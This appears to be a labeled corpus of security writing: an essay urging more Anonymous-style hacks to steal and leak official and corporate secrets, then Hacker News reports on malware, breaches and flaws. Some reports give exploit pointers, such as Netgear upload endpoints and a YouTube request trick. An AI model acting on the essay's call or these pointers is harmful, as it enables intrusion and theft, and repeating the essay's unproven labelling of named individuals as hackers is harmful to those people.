Ars Technica descriptions of the how the Anonymous hack are the best technical reading of Internet derring-do yet and far exceeds the much simpler rhetorical version of WikiLeaks security carefully bruited as if invulnerable but is not according to Daniel Domscheit-Berg's revelations.
AnonLeaks.ru is a remarkable advance of WikiLeaks. And promises much more by the same means and methods most associated with official spies -- NSA and CIA have long run the Special Collections Service to do exactly that kind of criminal aggression, along with black bag burglaries, surveillance and bugging. Contractors hiring ex-spies do much of this highly classified work as well and invent and supply the gadgets and front organizations required.
Not least of importance of the Anonymous hack and the many preceding it is the revelation of how commercial firms have been exploiting public ignorance of their spying capacity. That they are themselves vulnerable is a surprise to them, as it must be to those who hire them and, in the case of governments, provide legal cover for criminal actions.
This is not news, to be sure, for it has been alleged and reported on for decades but mostly in technical journals and conferences where offerers strut their malwares to buyers of perfidium.
Imagine that instead of the many iterations of Wikileaks now appearing to receive and publish documents, that more of the Anonymous-type hacks simply steal and torrent the family jewels of the spies, officials, lobbyists and corporations believing they own the territory in order to show the extent of their secret predations on the public.
The digitization of vast archives of government, commercial and non-governmental organizations to facilitate their hegemony provides a bounty to be hacked repeatedly despite attempts to prevent it by vainly inept cybersecurity agencies and firms.
The cyber-racket cartel will yell, hit the Internet Switch. Too late, too late. Anonymous controls the switch. Sure, Anonymous can be compromised with sufficient hostile and friendly inducements, but so can the predators, perhaps moreso the latter now revealed to be vulnerable.
Venerable Anonymous and the promise it offers surpasses the Nymous authoritatives of secrecy frantically attempting to ban its greatest threat.
For honoring the WL era bestow on Julian Assange, the WL Four and Bradley Manning Medals of Freedom and spy-grade lifetime pensions for initiating the rise of Unnameables worldwide.
Coda: Cryptome and reportedly John Young's private network were hacked in October 2010. Thugs Corey "Xyrix" Barnhill, Michael "Virus" Nieves, Justin "Null" Perras are still bragging about it on hacker forums. So prepare for exposure no matter illusory protection by law and technology.
| Malware |
Warning: Beware of Post-Election Phishing Emails Targeting NGOs and Think Tanks | https://thehackernews.com/2016/11/election-trump-phishing-malware.html | Just a few hours after Donald Trump won the 2016 US Presidential Election, a hacking group launched a wave of cyber attacks targeting U.S.-based policy think-tanks with a new spear phishing campaign designed to fool victims into installing malware.
The group of nation-state hackers, also known as Cozy Bear, APT29, and CozyDuke, is the one of those involved in the recent data breach of the Democratic National Committee (DNC) and is allegedly tied to the Russian government.
On Wednesday, the hackers sent a series of phishing emails to dozens of targets associated with non-governmental organizations (NGOs), policy think tanks in the US and even inside the US government, said security firm Volexity.
Phishing Attacks Powered by 'PowerDuke' Malware
The phishing emails were sent from purpose-built Gmail accounts and other compromised email accounts at Harvard University's Faculty of Arts and Sciences (FAS), trying to trick victims into opening tainted attachments containing malware and clicking on malicious links.
Once this was done, the phishing e-mail dropped a new variant of Backdoor malware, dubbed "PowerDuke," giving attackers remote access to the compromised systems.
PowerDuke is an extremely sophisticated piece of malware in both its way of infecting people as well as concealing its presence.
Besides making use of wide variety of approaches, PowerDuke uses steganography to hide its backdoor code in PNG files.
The firm spotted and reported at least five waves of phishing attacks targeting people who work for organizations, including Radio Free Europe/Radio Liberty, the RAND Corporation, the Atlantic Council, and the State Department, among others.
"Three of the five attack waves contained links to download files from domains that the attackers appear to have control over," the firm said in a blog post. "The other two attacks contained documents with malicious macros embedded within them. Each of these different attack waves was slightly different from one another."
Beware of Post-Election Themed Phishing Emails
All the phishing emails were election-themed. Why?
After Trump won the US presidential election, half of America, as well as people across the world, mourning the result was curious to know about the victory of Trump.
People even started searching on Google: How did Donald Trump win the US presidential election?, Were the election flawed? Why did Hillary Clinton lose?
Hackers took advantage of this curiosity to target victims, especially those who worked with the United States government and were much more concerned about Trump's victory.
Two of the emails claimed to have come from the Clinton Foundation giving insight of the elections, two others purported to be documents pertaining to the election's outcome being revised or rigged, and the last one offered a link to a PDF download on 'Why American Elections Are Flawed.'
The emails were sent using the real email address of a professor at Harvard, which indicates that the hackers likely hacked the professor's email and then used his account to send out the phishing emails.
The emails either contained malicious links to .ZIP files or included malicious Windows shortcut files linked to a "clean" Rich Text Format document and a PowerShell script.
Once clicked, the script installed PowerDuke on a victim's computer that could allow attackers to examine and control the target system. The malware has the capability to secretly download additional malicious files and evade detection from antivirus products.
Security firm CrowdStrike claimed in June 2016 that the hacking team Cozy Bear has previously hacked into networks belonging to the White House, State Department, and the United States Joint Chiefs of Staff.
| Malware |
Critical Flaws Found in NETGEAR Network Management System | https://thehackernews.com/2016/02/network-management-system.html | Netgear, one of the most popular router manufacturers, has been vulnerable to two different flaws that could allow hackers to compromise your corporate network and connected devices.
Reported critical vulnerabilities reside in the Netgear's ProSafe NMS300 Model (Network Management System) – a centralized and comprehensive management application for network administrators that enables them to discover, monitor, configure, and report on SNMP-based enterprise-class network devices.
SNMP (Simple Network Management Protocol) is a network management protocol which facilitates Netgear's ProSafe NMS300 application to gather data from various network devices such as servers, printers, hubs, switches, and routers.
Remotely collected data includes CPU load, routing tables, and network traffic statistics.
Serious Flaws in Network Management System
A joint security dug conducted by Pedro Ribeiro (Security Researcher of UK Based firm Agile Information) along with CERT Committee divulged the vulnerabilities in the web interface of the router that could allow attackers to:
Upload and Execute any malicious file remotely (CVE-2016-1524)
Download any file from Server (CVE-2016-1525)
Unauthorized Arbitrary File Upload Flaw: This flaw comes with the default installation of NMS300, allowing an unauthorized attacker to upload an arbitrary file and execute (Remote Code Execution) malicious code with SYSTEM privileges.
Upload location: https://:8080/fileUpload.do
Upload location: https://:8080/lib-1.0/external/flash/fileUpload.do
Execurition Location: https://:8080/null
Directory Traversal Attack: This vulnerability allows authenticated users to read and download any restricted file by manipulating 'realName' parameter of POST request to https://:8080/data/config/image.do?method=add URL.
The security vulnerabilities affect Netgear Management System NMS300, version 1.5.0.11 and earlier.
How to Protect Your Network from Hackers
Since there are no patches yet available from Netgear to fix these vulnerabilities, the only solution that network admins could implement here is strengthening the firewall policy by restricting the untrusted sources.
As threats continue to evolve and increase in volume and frequency, you can no longer rely on static network security monitoring.
Network administrators are strongly encouraged to monitor network-based services or protocols on a continuous basis using security monitoring solutions like AlienVault Unified Security Management (USM), which also includes intrusion detection (IDS) and real-time threat intelligence to help administrators to quickly identify and remediate threats on their network.
Netgear had not yet commented to this issue.
| Vulnerability |
How Did Hackers Who Stole $81 Million from Bangladesh Bank Go Undetected? | https://thehackernews.com/2016/04/swift-bank-hack.html | In Brief
Investigators from British defense contractor BAE Systems discovered that hackers who stole $81 million from the Bangladesh Central Bank actually hacked into software from SWIFT financial platform, a key part of the global financial system.
The hackers used a custom-made malware to hide evidence and go undetected by erasing records of illicit transfers with the help of compromised SWIFT system.
The Bangladesh Bank hackers, who managed to steal $81 Million from the bank last month in one of the largest bank heists in history, actually made their tracks clear after hacking into SWIFT, the heart of the global financial system.
SWIFT, stands for the Society for Worldwide Interbank Financial Telecommunications, is a global messaging network used for most international money and security transfers.
More than 11,000 Global Banks on HIGH ALERT!
Nearly 11,000 Banks and other financial institutions around the World use SWIFT system to send securely and receive payment instructions through a standardized system of codes.
Recently, Bangladesh police investigators uncovered evidence revealing that the Bank was using second-hand $10 network switches without a Firewall to run its network, which offered hackers access to the bank's entire infrastructure, including the SWIFT servers.
Now, researchers from British defense contractor BAE Systems reported Monday that the Bangladesh Bank hackers used a piece of sophisticated, custom-made malware to manipulate logs and erase the history of the fraudulent transactions, which even prevent printers from printing the fraudulent transactions.
The malware also has the capability to intercept and destroy incoming messages confirming the money transfers. These malware capabilities prevented hackers to remain undetected.
"This malware appears to be just part of a wider attack toolkit and would have been used to cover the attackers' tracks as they sent forged payment instructions to make the transfers," security researcher Sergei Shevchenko wrote in a blog post.
When and How Did They Get Detected?
The hackers had attempted to steal $951 Million in total from Bangladesh central bank account at the Federal Reserve Bank of New York using fraudulent transactions, but a simple typo (spell error) by hackers halted the further transfers of the $850 Million funds.
The BAE researchers believe the malware used to target Alliance Access, a piece of software that allows banks to connect to the SWIFT network.
According to SWIFT's official website, Alliance Access has more than 2,000 installations worldwide. So even though the SWIFT financial system is used by around 11,000 banks and financial institutions, all of them are not affected by the notorious malware.
"By modifying the local instance of SWIFT Alliance Access software, the malware grants itself the ability to execute database transactions within the victim network," Shevchenko said.
SWIFT To Issue Emergency Security Update
Meanwhile, Brussels-based SWIFT confirmed to Reuters that the company was aware of the nasty malware used to target its client software and that it would roll out a security software update on Monday to fix the issue, along with a special warning to financial institutions.
SWIFT Spokeswoman Natasha Deteran said the software update was intended "to assist customers in enhancing their security and to spot inconsistencies in their local database records."
| Malware |
120 Compromised Ad Servers Target Millions of Internet Users | https://thehackernews.com/2021/04/120-compromised-ad-servers-target.html | An ongoing malvertising campaign tracked as "Tag Barnakle" has been behind the breach of more than 120 ad servers over the past year to sneakily inject code in an attempt to serve malicious advertisements that redirect users to rogue websites, thus exposing victims to scamware or malware.
Unlike other operators who set about their task by infiltrating the ad-tech ecosystem using "convincing personas" to buy space on legitimate websites for running the malicious ads, Tag Barnakle is "able to bypass this initial hurdle completely by going straight for the jugular — mass compromise of ad serving infrastructure," said Confiant security researcher Eliya Stein in a Monday write-up.
The development follows a year after the Tag Barnakle actor was found to have compromised nearly 60 ad servers in April 2020, with the infections primarily targeting an open-source advertising server called Revive.
The latest slew of attacks is no different, although the adversaries appear to have upgraded their tools to target mobile devices as well. "Tag Barnakle is now pushing mobile targeted campaigns, whereas last year they were happy to take on desktop traffic," Stein said.
Specifically, the websites that receive an ad through a hacked server carries out client-side fingerprinting to deliver a second-stage JavaScript payload — click tracker ads — when certain checks are satisfied, that then redirect users to malicious websites, aiming to lure the visitors to an app store listing for fake security, safety, or VPN apps, which come with hidden subscription costs or hijack the traffic for other nefarious purposes.
Given that Revive is used by a good number of ad platforms and media companies, Confiant pegs the reach of Tag Barnakle in the range of "tens if not hundreds of millions of devices."
"This is a conservative estimate that takes into consideration the fact that they cookie their victims in order to reveal the payload with low frequency, likely to slow down detection of their presence," Stein said.
| Malware |
Hacking YouTube To Get Spoofed Comments on Videos | https://thehackernews.com/2015/04/hacking-youtube-comments.html | A security researcher has discovered a critical vulnerability in Google-owned YouTube that could allow anyone to make the comment posted by any celebrity or public figure on some YouTube video appear on his or her own YouTube video, impersonating that celeb.
Just a few weeks ago we reported about a simple logical vulnerability in YouTube that could have been exploited by anyone to delete any video from YouTube in just one shot.
Now:
Again a small trick in the popular video sharing website could allow anyone to play with the comments posted by users on YouTube videos.
Ahmed Aboul-Ela and Ibrahim M. El-Sayed, two Egyptian security researcher, found a simple trick that allowed him to copy any comments from any video on the popular video sharing website to his video, even without any user-interaction.
Not only this, but also:
This vulnerability allows you to spoof, duplicate or copy the comments on discussion boards from any YouTube channel and make it appear as the comments on your video or as a comment on your YouTube channel's discussion board.
How did this happen?
While testing the reviewing comments feature, the researcher noticed that the comments posted to any video on YouTube can be controlled by the author of that YouTube channel by changing the settings to "Hold all comments for review" before it gets posted.
After enabling this option, all the comments posted by different users on your video will be listed in a new tab on https://www.youtube.com/comments with an option to approve or remove it.
Now:
When you approve any listed comment and intercept the HTTP request, you'll find a comment_id and a video_id in the POST parameter.
If you change the video_id with any distinct video_id value, you'll get an error.
But, Here's the deal:
If you change only the comment_id to any other comment_id value on any YouTube video, keeping the video_id untouched, the request will get accepted by YouTube, and the comment will appear on your YouTube video.
However, this does not remove the original comment from the original video and even the author of the comment does not get notified that his comment is copied onto another video.
You can also watch the video demonstration of the YouTube vulnerability below:
Of course, the vulnerability have been fixed after the researcher reported it to Google. The search engine giant also paid Aboul-Ela a cash reward of $3,133.7 under its bug bounty scheme for finding and reporting the critical issue to the company.
| Vulnerability |
Adobe Issues July 2020 Critical Security Patches for Multiple Software | https://thehackernews.com/2020/07/adobe-security-patch-july.html | Adobe today released software updates to patch a total of 13 new security vulnerabilities affecting 5 of its widely used applications.
Out of these 13 vulnerabilities, four have been rated critical, and nine are important in severity.
The affected products that received security patches today include:
Adobe Creative Cloud Desktop Application
Adobe Media Encoder
Adobe Genuine Service
Adobe ColdFusion
Adobe Download Manager
Adobe Creative Cloud Desktop Application versions 5.1 and earlier for Windows operating systems contain four vulnerabilities, one of which is a critical symlink issue (CVE-2020-9682) leading to arbitrary file system write attacks.
According to the advisory, the other three important flaws in this Adobe software are privilege escalation issues.
Adobe Media Encoder contains two critical arbitrary code execution (CVE-2020-9650 and CVE-2020-9646) and one important information disclosure issues, affecting both Windows and macOS users running Media Encoder version 14.2 or earlier.
Adobe Genuine Service, a utility in Adobe suite that prevents users from running non-genuine or cracked pirated software, is affected by three important privilege escalation issues. These flaws reside in software version 6.6 and earlier for Windows and macOS operating systems.
Adobe's web-application development platform ColdFusion also suffers from two important severity privilege escalation issues that can be carried out by exploiting the DLL search-order hijacking attack.
At last, Adobe Download Manager has been found vulnerable to only one flaw (CVE-2020-9688) that's critical in severity and could lead to arbitrary code execution in the current user context through command injection attack.
The flaw affects Adobe Download Manager version 2.0.0.518 for Windows and has been patched with the release of version 2.0.0.529 of the software.
None of the security vulnerabilities fixed in this batch of Adobe updates were publicly disclosed or found being exploited in the wild.
However, it's still highly recommended that Adobe users download and install the latest versions of the affected software to protect their systems and businesses from potential cyber-attacks.
That's also because many patches released in today's batch have received a priority rating of 2, meaning similar flaws have previously been seen exploited in the wild, and for now, the company has found no evidence of any exploitation of these vulnerabilities.
| Vulnerability |
Ultrasonic Password Security for Google Accounts | https://thehackernews.com/2014/02/google-may-implement-ultrasonic.html | Does a Strong Password Guarantee you the Security of your Online Account? If yes, then you should once check out our 'Data breaches' section on the website.
A Startup Company, SlickLogin has developed a technology that enables you to login into online accounts using Ultrasonic sound, instead of entering username and password on your.
The company claims its technology offers "military-grade security" that replaces passwords in the two-step process simply by placing your Phone next to their laptop or tablet.
When you sign-in via SlickLogin enabled website, the computer will play a sound which is encrypted into Ultrasonic Sound, inaudible to the human ear, but your Smartphone can hear it.
The Smartphone Sends data back to the SlickLogin Servers for authentication and grants immediate access. Each sound is different, unique and cannot be reused to hack an account.
Recently, Google has acquired this two month old Israeli Startup, "Today we're announcing that the SlickLogin team is joining Google, a company that shares our core beliefs that logging in should be easy instead of frustrating, and authentication should be effective without getting in the way." SlickLogin website said.
SlickLogin also uses WiFi, Bluetooth, NFC, QR codes and GPS to prevent your account from hackers on the other side of the world.
SlickLogin Technology gives you a way to set an unforgettable password, but at the same time physical access to the Smartphone may pose critical threat to your online accounts and Smartphones with Low battery Backup may trouble you most of the times.
| Data_Breaches |
Security Concern : Internet Enabled TV can be hacked ! | https://thehackernews.com/2012/04/security-concern-internet-enabled-tv.html | Security Concern : Internet Enabled TV can be hacked !
Is your Internet TV vulnerable to hackers? Internet TVs could be the newest avenue for cybercriminals to infiltrate your home or business. Last year, Researchers at Mocana, a security technology company in San Francisco, recently discovered they could hack into a best-selling Internet-ready HDTV model with unsettling ease.
According to a new report from researcher NPD In-Stat predicts that 100 million homes in North America and Western Europe will own television sets that blend traditional programs with Internet content by 2016.
What exactly these Internet Enabled TV have ? Its IP addresses, always-on network interfaces, CPUs, storage, memory, and operating systems the details that have offered hackers a bounty of attack choices for the last three decades.
"Our goal was to see if we could hack into the set-top box, steal customer personal information, pirate services, and incur denial-of-service conditions." Roger Grimes wrote on Pcworld. He added "we not only owned the box, but ended up taking root of the entire cable system."
He added an example, if we could steal porn or force porn onto another television that was watching Disney content, with the idea that offended customers would drop their service.
If you own an Internet-connected TV, your best bet may be to avoid using it to complete any online transactions, at least until you're sure that sufficient security measures are in place to protect your personal data.
| Vulnerability |
Ransomware Cyber Attack Forced the Largest U.S. Fuel Pipeline to Shut Down | https://thehackernews.com/2021/05/ransomware-cyber-attack-forced-largest.html | Colonial Pipeline, which carries 45% of the fuel consumed on the U.S. East Coast, on Saturday said it halted operations due to a ransomware attack, once again demonstrating how critical infrastructure is vulnerable to cyber attacks.
"On May 7, the Colonial Pipeline Company learned it was the victim of a cybersecurity attack," the company said in a statement posted on its website. "We have since determined that this incident involves ransomware. In response, we proactively took certain systems offline to contain the threat, which has temporarily halted all pipeline operations, and affected some of our IT systems."
Colonial Pipeline is the largest refined products pipeline in the U.S., a 5,500 mile (8,851 km) system involved in transporting over 100 million gallons from the Texas city of Houston to New York Harbor.
Cybersecurity firm FireEye's Mandiant incident response division is said to be assisting with the investigation, according to reports from Bloomberg and The Wall Street Journal, with the attack linked to a ransomware strain called DarkSide.
"We are engaged with Colonial and our interagency partners regarding the situation," the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said. "This underscores the threat that ransomware poses to organizations regardless of size or sector. We encourage every organization to take action to strengthen their cybersecurity posture to reduce their exposure to these types of threats."
Darkside ransom note
An analysis of the ransomware published by Cybereason earlier in April 2021 reveals that DarkSide has a pattern of being used against targets in English-speaking countries, while avoiding entities located in former Soviet Bloc nations.
The operators behind the ransomware also recently switched to an affiliate program in March, wherein threat actors are recruited to spread the malware by breaching corporate network victims, while the core developers take charge of maintaining the malware and payment infrastructure.
DarkSide, which commenced operations in August 2020, has published stolen data from more than 40 victims to date. It's not immediately clear how much money the attackers demanded or whether Colonial Pipeline has paid. A separate report from Bloomberg alleged that the cybercriminals behind the attack stole 100GB of data from its network.
Rising Threat of Ransomware
The latest cyber attack comes as a coalition of government and tech firms in the private sector, called the Ransomware Task Force, released a list of 48 recommendations to detect and disrupt the rising ransomware threat, in addition to helping organizations prepare and respond to such attacks more effectively.
Potentially damaging intrusions targeting utilities and critical infrastructure have witnessed a surge in recent years, fueled in part by ransomware attacks that have increasingly jumped on the double extortion bandwagon to not only encrypt the victim's data, but exfiltrate the information beforehand and threaten to make it public if the ransom demand is not paid.
Based on data gathered by Check Point and shared with The Hacker News, cyber attacks targeting American utilities increased by 50% on average per week, from 171 at the start of March to 260 towards the end of April. What's more, over the last nine months, the monthly number of ransomware attacks in the U.S. nearly tripled to 300.
"Furthermore, in recent weeks an average of 1 in every 88 Utilities organization in the U.S. suffered from an attempted Ransomware attack, up by 34% compared to the average from the beginning of 2021," the American-Israeli cybersecurity firm said.
In February 2020, CISA issued an alert warning of increasing ransomware infections impacting pipeline operations following an attack that hit an unnamed natural gas compression facility in the country, causing the company to shut down its pipeline asset for about two days.
Securing pipeline infrastructure has been an area of focus for the Department of Homeland Security, which in 2018 assigned CISA to oversee what's called the Pipeline Cybersecurity Initiative (PCI) that aims to identify and address emerging threats and implement security measures to protect more than 2.7 million miles of pipelines responsible for transporting oil and natural gas in the U.S.
The agency's National Risk Management Center (NRMC) has also published a Pipeline Cybersecurity Resources Library in February 2021 to "provide pipeline facilities, companies, and stakeholders with a set of free, voluntary resources to strengthen their cybersecurity posture."
| Cyber_Attack |
Purple Fox Rootkit Can Now Spread Itself to Other Windows Computers | https://thehackernews.com/2021/03/purple-fox-rootkit-can-now-spread.html | Purple Fox, a Windows malware previously known for infecting machines by using exploit kits and phishing emails, has now added a new technique to its arsenal that gives it worm-like propagation capabilities.
The ongoing campaign makes use of a "novel spreading technique via indiscriminate port scanning and exploitation of exposed SMB services with weak passwords and hashes," according to Guardicore researchers, who say the attacks have spiked by about 600% since May 2020.
A total of 90,000 incidents have been spotted through the rest of 2020 and the beginning of 2021.
First discovered in March 2018, Purple Fox is distributed in the form of malicious ".msi" payloads hosted on nearly 2,000 compromised Windows servers that, in turn, download and execute a component with rootkit capabilities, which enables the threat actors to hide the malware on the machine and make it easy to evade detection.
Guardicore says Purple Fox hasn't changed much post-exploitation, but where it has is in its worm-like behavior, allowing the malware to spread more rapidly.
It achieves this by breaking into a victim machine through a vulnerable, exposed service such as server message block (SMB), leveraging the initial foothold to establish persistence, pull the payload from a network of Windows servers, and stealthily install the rootkit on the host.
Once infected, the malware blocks multiple ports (445, 139, and 135), likely in an attempt to "prevent the infected machine from being reinfected, and/or to be exploited by a different threat actor," notes Amit Serper, Guardicore's new vice president of security research for North America.
In the next phase, Purple Fox commences its propagation process by generating IP ranges and scanning them on port 445, using the probes to single out vulnerable devices on the Internet with weak passwords and brute-forcing them to ensnare the machines into a botnet.
While botnets are often deployed by threat actors to launch denial-of-network attacks against websites with the goal of taking them offline, they can also be used to spread all kinds of malware, including file-encrypting ransomware, on the infected computers, although in this case, it's not immediately clear what the attackers are looking to achieve.
If anything, the new infection vector is another sign of criminal operators constantly retooling their malware distribution mechanism to cast a wide net and compromise as many machines as possible. Details about the indicators of compromise (IoCs) associated with the campaign can be accessed here.
| Malware |
Russian Hackers Behind Gozi Malware charged for Infecting Millions users | https://thehackernews.com/2013/01/russian-hacker-behind-gozi-malware.html | The mastermind Russian Hackers who coded and distributed the Gozi malware, Nikita Vladimirovich Kuzmin, 25 was charged along with Deniss Calovskis, 27, and Mihai Ionut Paunescu, 28 for infecting more than a million computers worldwide in order to steal banking and other credentials from tens of thousands of victims.
They may face a maximum penalty of 95, 60 and 67 years in prison, respectively. Kuzmin allegedly created the Gozi program in 2005, hiring a programmer to write the source code and then leasing it to other criminal customers.
According to latest reports, Nikita has agreed to cooperate with the United States. As potential evidence, the feds have been able to retrieve 51 servers in Romania as well as laptops, desktops and external hard drives. The data seized amounts to 250 terabytes.
Paunescu, a Romanian national who went by the name "Virus" operated a bulletproof hosting service that provided criminal customers with servers and IP addresses from which to send out phishing emails containing the Gozi virus as well as the Zeus and SpyEye banking trojans.
Calovskis, who went by the name "Miam," was purportedly hired by Kuzmin to develop "web injects."
Authorities say the virus infected at least 40,000 computers in the U.S., including more than 160 computers belonging to NASA, and cost victims tens of millions of dollars in losses. The malicious code allowed Kuzmin to remotely control the compromised systems as a botnet, installing additional code to steal information and access banks accounts.
| Malware |
Hackers Stole $300 Million from 100 Banks Using Malware | https://thehackernews.com/2015/02/hacker-malware-bank-heist.html | Despite increased online and mobile banking security, banks are more often being targeted by hackers. A hacker group has infiltrated a number of banks and financial institutions in several countries, stealing hundreds of Millions of dollars in possibly the biggest bank heist the world has ever seen.
According to a report published by the New York Times on Saturday, hackers have stolen as much as $1 Billion from more than 100 banks and other financial companies in almost 30 nations, making it "the most sophisticated attack the world has seen to date."
In late 2013, banks in Russia, Japan, Europe, the United States and other countries fell victim to a massive, sophisticated malware hack that allowed the hackers to spy on bank officials in order to mimic their behavior, according to an upcoming report by Kaspersky Labs received by the NY Times.
CARBANAK BANKING MALWARE IN THE WILD
In order to infect bank staffs, the hacker group sent malicious emails to hundreds of employees at different banks. Once open, the email downloads a malware program called Carbanak, that allegedly allowed perpetrators to transfer money from the banks to fake accounts or ATMs monitored by criminals.
The exact figure of the stolen amount is unclear, though, according to the cybersecurity firm, the total theft could be more than $300 Million. Because, the hackers only swiped $10 million at a time and some banks were targeted more than once.
"This is likely the most sophisticated attack the world has seen to date in terms of the tactics and methods that cybercriminals have used to remain covert," Chris Doggett, manager of Kaspersky's North American office in Boston, told the Times.
However, the cyber security firm does not name the banks and financial institutions involved in the massive theft operation in its report. But, the interesting part is that no banks have come forward to reveal that they have been hacked in this largest theft.
HISTORY OF CYBER HEIST
This is not first time when hackers have made banks and financial institutions as their target. In past, they had carried out a number of bank crimes. The list is given below:
In March, 2012 - A Russian hacker was sentenced to two years in US prison for his involvement in a global bank Million Dollar Fraud scheme that used hundreds of phony bank accounts to steal over $3 million from dozens of U.S.accounts. He was responsible for the Zeus banking malware that was used to carry out the fraud.
In October, 2012 - FBI arrested 14 people who used cash advance kiosks at casinos located in Southern California and Nevada and robbed over $1 million from Citibank.
In May, 2013 - A gang of cyber-criminals operating in 26 countries stole $45 Million by hacking into the database of prepaid debit cards, making it the biggest bank robbery in the history.
In July, 2013 - A hacker group allegedly broke into the computer networks of more than a dozen of major American and International corporations and stole 160 million credit card numbers over the course of 7 years, making it the largest data theft case ever prosecuted in the U.S.
In October, 2013 - The Dutch police arrested four people who used TorRat Malware to target two out of three major Banks in the Netherlands and stole over Millions of Dollars from Banking Accounts.
| Malware |
Hacker made calls worth £10,000 from public phone | https://thehackernews.com/2012/06/hacker-made-calls-worth-10000-from.html | Hacker made calls worth £10,000 from public phone
Computer expert Dariusz Ganski, of Sunny Bank, Kingswood, used a router to tap into BT phone boxes and made hours of calls to expensive numbers.
He make calls worth £10,000 of premium-line bills and he has been jailed for 18 months.
Prosecutor David Maunder commented: "Police located the vehicle and they found Mr Ganski with two laptop computers and numerous mobile telephones."
Bristol Crown Court heard that the 27-year-old committed his crimes to get electronic credits for music and on-line games, while still on licence from prison for almost identical offences.
Ganski made 648 calls, totalling nearly 43 hours, from a phone box in Kelston, North East Somerset. BT was alerted to unpaid calls costing them about £7,700 on that box.
He said: "Your counsel says you're intelligent. What a waste that what you really do is go round defrauding companies in this way."
| Vulnerability |
Dangerous Malware Discovered that Can Take Down Electric Power Grids | https://thehackernews.com/2017/06/electric-power-grid-malware.html | Last December, a cyber attack on Ukrainian Electric power grid caused the power outage in the northern part of Kiev — the country's capital — and surrounding areas, causing a blackout for tens of thousands of citizens for an hour and fifteen minutes around midnight.
Now, security researchers have discovered the culprit behind those cyber attacks on the Ukrainian industrial control systems.
Slovakia-based security software maker ESET and US critical infrastructure security firm Dragos Inc. say they have discovered a new dangerous piece of malware in the wild that targets critical industrial control systems and is capable of causing blackouts.
Dubbed "Industroyer" or "CrashOverRide," the grid-sabotaging malware was likely to be used in the December 2016 cyber attack against Ukrainian electric utility Ukrenergo, which the security firms say represents a dangerous advancement in critical infrastructure hacking.
According to the researchers, CrashOverRide is the biggest threat designed to disrupt industrial control systems, after Stuxnet — the first malware allegedly developed by the US and Israel to sabotage the Iranian nuclear facilities in 2009.
This Malware Does Not Exploit Any Software Flaw
Unlike Stuxnet worm, the CrashOverRide malware does not exploit any "zero-day" software vulnerabilities to do its malicious activities; instead, it relies on four industrial communication protocols used worldwide in power supply infrastructure, transportation control systems, and other critical infrastructure systems.
The CrashOverRide malware can control electricity substation' switches and circuit breakers, designed decades ago, allowing an attacker to simply turning off power distribution, cascading failures and causing more severe damage to equipment.
Industroyer malware is a backdoor that first installs four payload components to take control of switches and circuit breakers; and then connects to a remote command-and-control server to receive commands from the attackers.
"Industroyer payloads show the authors' in-depth knowledge and understanding of industrial control systems." ESET researchers explain.
"The malware contains a few more features that are designed to enable it to remain under the radar, to ensure the malware's persistence, and to wipe all traces of itself after it has done its job."
Since there have been four malware discovered in the wild to date that target industrial control systems, including Stuxnet, Havex, BlackEnergy, and CrashOverRide; Stuxnet and CrashOverRide were designed only for sabotage, while BlackEnergy and Havex were meant for conducting espionage.
"The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to electric outages," reads Dragos analysis [PDF] of the malware.
Malware Can Cause Wider and Longer-Lasting Blackouts
The analysis of the malware suggests CrashOverRide could cause power outages far more widespread, sophisticated and longer lasting than the one Ukraine suffered last December.
Dragos CEO Robert M. Lee said the CrashOverRide malware is capable of causing power outages that can last up to a few days in portions of a country's electric grid, but it is not capable enough to bring down the entire grid of a nation.
The malware includes interchangeable, plug-in components that could allow CrashOverRide to be altered to different electric power utilities or even launched simultaneous attacks on multiple targets.
"CrashOverRide is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact; in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia," Dragos' paper reads.
"CrashOverRide is extensible and with a small amount of tailoring such as the inclusion of a DNP3 [Distributed Network Protocol 3] protocol stack would also be effective in the North American grid."
According to the researchers, the malware can be modified to target other types of critical infrastructure, like transportation, gas lines, or water facilities, as well with additional protocol modules.
The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.
The security firms already argued that the 2016 power outage was likely caused by the same group of hackers who caused 2015 blackout — Sandworm, a state-sponsored hacking group believed to be from Russia.
Dragos tracked the perpetrators behind CrashOverRide as Electrum and assessed "with high confidence through confidential sources that Electrum has direct ties to the Sandworm team."
The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.
| Cyber_Attack |
Turns Out New Petya is Not a Ransomware, It's a Destructive Wiper Malware | https://thehackernews.com/2017/06/petya-ransomware-wiper-malware.html | What if I say the Tuesday's devastating global malware outbreak was not due to any ransomware infection?
Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.
According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.
Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a "Wiper malware," not ransomware.
Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.
"We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker," Suiche writes.
Is Petya Ransomware Faulty or Over-Smart?
Petya is a nasty piece of malware that, unlike other traditional ransomware, does not encrypt files on a targeted system one by one.
Instead, Petya reboots victims computers and encrypts the hard drive's master file table (MFT) and renders the master boot record (MBR) inoperable, restricting access to the full system by seizing information about file names, sizes, and location on the physical disk.
Then Petya ransomware takes an encrypted copy of MBR and replaces it with its own malicious code that displays a ransom note, leaving computers unable to boot.
However, this new variant of Petya does not keep a copy of replaced MBR, mistakenly or purposely, leaving infected computers unbootable even if victims get the decryption keys.
Also, after infecting one machine, the Petya ransomware scans the local network and quickly infects all other machines (even fully-patched) on the same network, using EternalBlue SMB exploit, WMIC and PSEXEC tools.
Don't Pay Ransom; You Wouldn't Get Your Files Back
So far, nearly 45 victims have already paid total $10,500 in Bitcoins in hope to get their locked files back, but unfortunately, they would not.
It's because the email address, which was being set-up by the attackers to communicate with victims and send decryption keys, was suspended by the German provider shortly after the outbreak.
Meaning, even if victims do pay the ransom, they will never recover their files. Kaspersky researchers also said same.
"Our analysis indicates there is little hope for victims to recover their data. We have analyzed the high-level code of the encryption routine, and we have figured out that after disk encryption, the threat actor could not decrypt victims' disks," the security firm said.
